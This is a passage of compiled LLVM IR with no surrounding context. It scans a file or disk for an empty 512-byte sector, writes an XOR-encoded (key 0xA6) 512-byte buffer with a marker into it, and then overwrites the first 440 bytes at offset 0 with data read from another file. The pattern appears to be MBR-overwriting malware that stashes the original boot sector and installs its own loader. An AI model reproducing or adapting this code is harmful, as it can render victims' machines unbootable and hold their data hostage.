%71 = bitcast i8* %70 to <16 x i8>*
%72 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 288
%73 = bitcast i8* %72 to <16 x i8>*
%74 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 304
%75 = bitcast i8* %74 to <16 x i8>*
%76 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 320
%77 = bitcast i8* %76 to <16 x i8>*
%78 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 336
%79 = bitcast i8* %78 to <16 x i8>*
%80 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 352
%81 = bitcast i8* %80 to <16 x i8>*
%82 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 368
%83 = bitcast i8* %82 to <16 x i8>*
%84 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 384
%85 = bitcast i8* %84 to <16 x i8>*
%86 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 400
%87 = bitcast i8* %86 to <16 x i8>*
%88 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 416
%89 = bitcast i8* %88 to <16 x i8>*
%90 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 432
%91 = bitcast i8* %90 to <16 x i8>*
%92 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 448
%93 = bitcast i8* %92 to <16 x i8>*
%94 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 464
%95 = bitcast i8* %94 to <16 x i8>*
%96 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 480
%97 = bitcast i8* %96 to <16 x i8>*
%98 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 496
%99 = bitcast i8* %98 to <16 x i8>*
br label %103
100: ; preds = %32
%101 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.14, i64 0, i64 0))
%102 = call i32 @fclose(i32* %18)
br label %357
103: ; preds = %35, %103
%104 = call i32 @fread(i8** %36, i32 512, i32 1, i32* %18)
%105 = load <16 x i8>, <16 x i8>* %37
%106 = load <16 x i8>, <16 x i8>* %39
%107 = load <16 x i8>, <16 x i8>* %41
%108 = load <16 x i8>, <16 x i8>* %43
%109 = or <16 x i8> %107, %105
%110 = or <16 x i8> %108, %106
%111 = load <16 x i8>, <16 x i8>* %45
%112 = load <16 x i8>, <16 x i8>* %47
%113 = or <16 x i8> %111, %109
%114 = or <16 x i8> %112, %110
%115 = load <16 x i8>, <16 x i8>* %49
%116 = load <16 x i8>, <16 x i8>* %51
%117 = or <16 x i8> %115, %113
%118 = or <16 x i8> %116, %114
%119 = load <16 x i8>, <16 x i8>* %53
%120 = load <16 x i8>, <16 x i8>* %55
%121 = or <16 x i8> %119, %117
%122 = or <16 x i8> %120, %118
%123 = load <16 x i8>, <16 x i8>* %57
%124 = load <16 x i8>, <16 x i8>* %59
%125 = or <16 x i8> %123, %121
%126 = or <16 x i8> %124, %122
%127 = load <16 x i8>, <16 x i8>* %61
%128 = load <16 x i8>, <16 x i8>* %63
%129 = or <16 x i8> %127, %125
%130 = or <16 x i8> %128, %126
%131 = load <16 x i8>, <16 x i8>* %65
%132 = load <16 x i8>, <16 x i8>* %67
%133 = or <16 x i8> %131, %129
%134 = or <16 x i8> %132, %130
%135 = load <16 x i8>, <16 x i8>* %69
%136 = load <16 x i8>, <16 x i8>* %71
%137 = or <16 x i8> %135, %133
%138 = or <16 x i8> %136, %134
%139 = load <16 x i8>, <16 x i8>* %73
%140 = load <16 x i8>, <16 x i8>* %75
%141 = or <16 x i8> %139, %137
%142 = or <16 x i8> %140, %138
%143 = load <16 x i8>, <16 x i8>* %77
%144 = load <16 x i8>, <16 x i8>* %79
%145 = or <16 x i8> %143, %141
%146 = or <16 x i8> %144, %142
%147 = load <16 x i8>, <16 x i8>* %81
%148 = load <16 x i8>, <16 x i8>* %83
%149 = or <16 x i8> %147, %145
%150 = or <16 x i8> %148, %146
%151 = load <16 x i8>, <16 x i8>* %85
%152 = load <16 x i8>, <16 x i8>* %87
%153 = or <16 x i8> %151, %149
%154 = or <16 x i8> %152, %150
%155 = load <16 x i8>, <16 x i8>* %89
%156 = load <16 x i8>, <16 x i8>* %91
%157 = or <16 x i8> %155, %153
%158 = or <16 x i8> %156, %154
%159 = load <16 x i8>, <16 x i8>* %93
%160 = load <16 x i8>, <16 x i8>* %95
%161 = or <16 x i8> %159, %157
%162 = or <16 x i8> %160, %158
%163 = load <16 x i8>, <16 x i8>* %97
%164 = load <16 x i8>, <16 x i8>* %99
%165 = or <16 x i8> %163, %161
%166 = or <16 x i8> %164, %162
%167 = or <16 x i8> %166, %165
%168 = call i8 @llvm.vector.reduce.or.v16i8(<16 x i8> %167)
%169 = icmp eq i8 %168, 0
br i1 %169, label %170, label %103
170: ; preds = %103
%171 = call i32 @ftell(i32* %18)
%172 = add nsw i32 %171, -512
%173 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([60 x i8], [60 x i8]* @.str.7, i64 0, i64 0), i32 %172)
%174 = bitcast [512 x i8]* %3 to <16 x i8>*
%175 = load <16 x i8>, <16 x i8>* %174
%176 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 16
%177 = bitcast i8* %176 to <16 x i8>*
%178 = load <16 x i8>, <16 x i8>* %177
%179 = xor <16 x i8> %175, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%180 = xor <16 x i8> %178, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%181 = bitcast [512 x i8]* %3 to <16 x i8>*
store <16 x i8> %179, <16 x i8>* %181
%182 = bitcast i8* %176 to <16 x i8>*
store <16 x i8> %180, <16 x i8>* %182
%183 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 32
%184 = bitcast i8* %183 to <16 x i8>*
%185 = load <16 x i8>, <16 x i8>* %184
%186 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 48
%187 = bitcast i8* %186 to <16 x i8>*
%188 = load <16 x i8>, <16 x i8>* %187
%189 = xor <16 x i8> %185, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%190 = xor <16 x i8> %188, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%191 = bitcast i8* %183 to <16 x i8>*
store <16 x i8> %189, <16 x i8>* %191
%192 = bitcast i8* %186 to <16 x i8>*
store <16 x i8> %190, <16 x i8>* %192
%193 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 64
%194 = bitcast i8* %193 to <16 x i8>*
%195 = load <16 x i8>, <16 x i8>* %194
%196 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 80
%197 = bitcast i8* %196 to <16 x i8>*
%198 = load <16 x i8>, <16 x i8>* %197
%199 = xor <16 x i8> %195, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%200 = xor <16 x i8> %198, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%201 = bitcast i8* %193 to <16 x i8>*
store <16 x i8> %199, <16 x i8>* %201
%202 = bitcast i8* %196 to <16 x i8>*
store <16 x i8> %200, <16 x i8>* %202
%203 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 96
%204 = bitcast i8* %203 to <16 x i8>*
%205 = load <16 x i8>, <16 x i8>* %204
%206 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 112
%207 = bitcast i8* %206 to <16 x i8>*
%208 = load <16 x i8>, <16 x i8>* %207
%209 = xor <16 x i8> %205, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%210 = xor <16 x i8> %208, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%211 = bitcast i8* %203 to <16 x i8>*
store <16 x i8> %209, <16 x i8>* %211
%212 = bitcast i8* %206 to <16 x i8>*
store <16 x i8> %210, <16 x i8>* %212
%213 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 128
%214 = bitcast i8* %213 to <16 x i8>*
%215 = load <16 x i8>, <16 x i8>* %214
%216 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 144
%217 = bitcast i8* %216 to <16 x i8>*
%218 = load <16 x i8>, <16 x i8>* %217
%219 = xor <16 x i8> %215, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%220 = xor <16 x i8> %218, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%221 = bitcast i8* %213 to <16 x i8>*
store <16 x i8> %219, <16 x i8>* %221
%222 = bitcast i8* %216 to <16 x i8>*
store <16 x i8> %220, <16 x i8>* %222
%223 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 160
%224 = bitcast i8* %223 to <16 x i8>*
%225 = load <16 x i8>, <16 x i8>* %224
%226 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 176
%227 = bitcast i8* %226 to <16 x i8>*
%228 = load <16 x i8>, <16 x i8>* %227
%229 = xor <16 x i8> %225, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%230 = xor <16 x i8> %228, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%231 = bitcast i8* %223 to <16 x i8>*
store <16 x i8> %229, <16 x i8>* %231
%232 = bitcast i8* %226 to <16 x i8>*
store <16 x i8> %230, <16 x i8>* %232
%233 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 192
%234 = bitcast i8* %233 to <16 x i8>*
%235 = load <16 x i8>, <16 x i8>* %234
%236 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 208
%237 = bitcast i8* %236 to <16 x i8>*
%238 = load <16 x i8>, <16 x i8>* %237
%239 = xor <16 x i8> %235, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%240 = xor <16 x i8> %238, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%241 = bitcast i8* %233 to <16 x i8>*
store <16 x i8> %239, <16 x i8>* %241
%242 = bitcast i8* %236 to <16 x i8>*
store <16 x i8> %240, <16 x i8>* %242
%243 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 224
%244 = bitcast i8* %243 to <16 x i8>*
%245 = load <16 x i8>, <16 x i8>* %244
%246 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 240
%247 = bitcast i8* %246 to <16 x i8>*
%248 = load <16 x i8>, <16 x i8>* %247
%249 = xor <16 x i8> %245, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%250 = xor <16 x i8> %248, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%251 = bitcast i8* %243 to <16 x i8>*
store <16 x i8> %249, <16 x i8>* %251
%252 = bitcast i8* %246 to <16 x i8>*
store <16 x i8> %250, <16 x i8>* %252
%253 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 256
%254 = bitcast i8* %253 to <16 x i8>*
%255 = load <16 x i8>, <16 x i8>* %254
%256 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 272
%257 = bitcast i8* %256 to <16 x i8>*
%258 = load <16 x i8>, <16 x i8>* %257
%259 = xor <16 x i8> %255, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%260 = xor <16 x i8> %258, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%261 = bitcast i8* %253 to <16 x i8>*
store <16 x i8> %259, <16 x i8>* %261
%262 = bitcast i8* %256 to <16 x i8>*
store <16 x i8> %260, <16 x i8>* %262
%263 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 288
%264 = bitcast i8* %263 to <16 x i8>*
%265 = load <16 x i8>, <16 x i8>* %264
%266 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 304
%267 = bitcast i8* %266 to <16 x i8>*
%268 = load <16 x i8>, <16 x i8>* %267
%269 = xor <16 x i8> %265, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%270 = xor <16 x i8> %268, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%271 = bitcast i8* %263 to <16 x i8>*
store <16 x i8> %269, <16 x i8>* %271
%272 = bitcast i8* %266 to <16 x i8>*
store <16 x i8> %270, <16 x i8>* %272
%273 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 320
%274 = bitcast i8* %273 to <16 x i8>*
%275 = load <16 x i8>, <16 x i8>* %274
%276 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 336
%277 = bitcast i8* %276 to <16 x i8>*
%278 = load <16 x i8>, <16 x i8>* %277
%279 = xor <16 x i8> %275, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%280 = xor <16 x i8> %278, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%281 = bitcast i8* %273 to <16 x i8>*
store <16 x i8> %279, <16 x i8>* %281
%282 = bitcast i8* %276 to <16 x i8>*
store <16 x i8> %280, <16 x i8>* %282
%283 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 352
%284 = bitcast i8* %283 to <16 x i8>*
%285 = load <16 x i8>, <16 x i8>* %284
%286 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 368
%287 = bitcast i8* %286 to <16 x i8>*
%288 = load <16 x i8>, <16 x i8>* %287
%289 = xor <16 x i8> %285, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%290 = xor <16 x i8> %288, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%291 = bitcast i8* %283 to <16 x i8>*
store <16 x i8> %289, <16 x i8>* %291
%292 = bitcast i8* %286 to <16 x i8>*
store <16 x i8> %290, <16 x i8>* %292
%293 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 384
%294 = bitcast i8* %293 to <16 x i8>*
%295 = load <16 x i8>, <16 x i8>* %294
%296 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 400
%297 = bitcast i8* %296 to <16 x i8>*
%298 = load <16 x i8>, <16 x i8>* %297
%299 = xor <16 x i8> %295, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%300 = xor <16 x i8> %298, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%301 = bitcast i8* %293 to <16 x i8>*
store <16 x i8> %299, <16 x i8>* %301
%302 = bitcast i8* %296 to <16 x i8>*
store <16 x i8> %300, <16 x i8>* %302
%303 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 416
%304 = bitcast i8* %303 to <16 x i8>*
%305 = load <16 x i8>, <16 x i8>* %304
%306 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 432
%307 = bitcast i8* %306 to <16 x i8>*
%308 = load <16 x i8>, <16 x i8>* %307
%309 = xor <16 x i8> %305, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%310 = xor <16 x i8> %308, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%311 = bitcast i8* %303 to <16 x i8>*
store <16 x i8> %309, <16 x i8>* %311
%312 = bitcast i8* %306 to <16 x i8>*
store <16 x i8> %310, <16 x i8>* %312
%313 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 448
%314 = bitcast i8* %313 to <16 x i8>*
%315 = load <16 x i8>, <16 x i8>* %314
%316 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 464
%317 = bitcast i8* %316 to <16 x i8>*
%318 = load <16 x i8>, <16 x i8>* %317
%319 = xor <16 x i8> %315, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%320 = xor <16 x i8> %318, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%321 = bitcast i8* %313 to <16 x i8>*
store <16 x i8> %319, <16 x i8>* %321
%322 = bitcast i8* %316 to <16 x i8>*
store <16 x i8> %320, <16 x i8>* %322
%323 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 480
%324 = bitcast i8* %323 to <16 x i8>*
%325 = load <16 x i8>, <16 x i8>* %324
%326 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 496
%327 = bitcast i8* %326 to <16 x i8>*
%328 = load <16 x i8>, <16 x i8>* %327
%329 = xor <16 x i8> %325, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%330 = xor <16 x i8> %328, <i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90, i8 -90>
%331 = bitcast i8* %323 to <16 x i8>*
store <16 x i8> %329, <16 x i8>* %331
%332 = bitcast i8* %326 to <16 x i8>*
store <16 x i8> %330, <16 x i8>* %332
%333 = call i32 @strlen(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0))
%334 = sub nsw i32 512, %333
%335 = sext i32 %334 to i64
%336 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 %335
%337 = call i32 @strlen(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0))
%338 = call i32 @memcpy(i8* %336, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0), i32 %337)
%339 = load i32, i32* @SEEK_SET
%340 = call i32 @fseek(i32* %18, i32 %172, i32 %339)
%341 = call i32 @fwrite(i8** %24, i32 512, i32 1, i32* %18)
%342 = call i32* @fopen(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.9, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.10, i64 0, i64 0))
%343 = bitcast [440 x i8]* %5 to i8**
%344 = call i32 @fread(i8** %343, i32 1, i32 440, i32* %342)
%345 = icmp eq i32 %344, 440
br i1 %345, label %346, label %350
346: ; preds = %170
%347 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @str.13, i64 0, i64 0))
%348 = call i32 @fclose(i32* %18)
%349 = call i32 @fclose(i32* %342)
br label %357
350: ; preds = %170
%351 = load i32, i32* @SEEK_SET
%352 = call i32 @fseek(i32* %18, i32 0, i32 %351)
%353 = call i32 @fwrite(i8** %343, i32 1, i32 %344, i32* %18)
%354 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @str, i64 0, i64 0))
%355 = call i32 @fclose(i32* %18)
%356 = call i32 @fclose(i32* %342)
br label %357
357: ; preds = %346, %350, %100, %29, %20, %10
%358 = phi i32 [ 1, %10 ], [ 1, %20 ], [ 1, %29 ], [ 1, %100 ], [ 1, %346 ], [ 0, %350 ]
ret i32 %358
}